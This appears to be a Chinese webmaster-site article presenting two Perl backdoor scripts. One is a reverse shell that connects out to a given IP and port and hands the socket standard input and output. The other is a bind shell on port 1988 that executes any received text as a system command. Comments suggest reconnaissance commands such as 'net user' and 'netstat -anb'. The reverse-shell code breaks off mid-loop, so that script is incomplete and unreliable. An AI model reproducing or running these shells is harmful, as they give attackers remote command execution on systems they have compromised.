下面給大家介紹的有關perl正向和反向的相關實例代碼解析,你可能還不知道,下面我門一起來看看,希望對需要的朋友有所幫助! 反向連接代碼: #!/usr/bin/perl #usage: #nc -vv -l -p PORT(default 1988) on your local system first,then #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988) #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. #nc -vv -l -p 1988 #perl backdoor.pl 127.0.0.1 1988 #use strict; use Socket; use IO::Socket; use Cwd; use IO::Handle; my $remote = $ARGV[0] || "127.0.0.1"; my $remote_port = $ARGV[1] || 1988; my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) ); my $path = cwd(); $ARGC = @ARGV; if ( $ARGV[0] !~ /-/ ) { socket( SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp') ) or die "socket error: "; STDOUT->autoflush(1); SOCKET->autoflush(1); $conn = connect( SOCKET, $pack_addr ) || die "connection error : $!"; open STDIN, ">&SOCKET"; open STDOUT, ">&SOCKET"; open STDERR, ">&SOCKET"; print "You are in $path\n"; print "Welcome to use.\n"; print "console>\n"; while ( 正向連接代碼: #!/usr/bin/perl #ActivePerl 5.8.8 Build 822 #usage: #first:perl backdoor2c.pl #second:nc -vv 127.0.0.1 1988 #net user #ipconfig /all #netstat -anb use IO::Socket; $port = "1988"; my $socket = new IO::Socket::INET( 'Localhost' => '127.0.0.1', 'LocalPort' => $port, 'Listen' => 1, 'Proto' => 'tcp', 'Reuse' => 1 ); die "Reason: $!" unless $socket; while ( my $new_socket = $socket->accept() ) { while ( my $buffer = <$new_socket> ) { if ( $buffer =~ /exit/ ) { exit; } $res_msg = `$buffer`; print $new_socket "$res_msg\ncmd>"; } } 以上有關perl正向和反向的相關實例代碼解析就是小編為大家收集整理的全部內容了,希望對大家有所幫助。如果您喜歡這篇文章,可以收藏或分享給您的小伙伴們吧!歡迎持續關注我們的后續更新。 |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!
掃一掃,關注站長網微信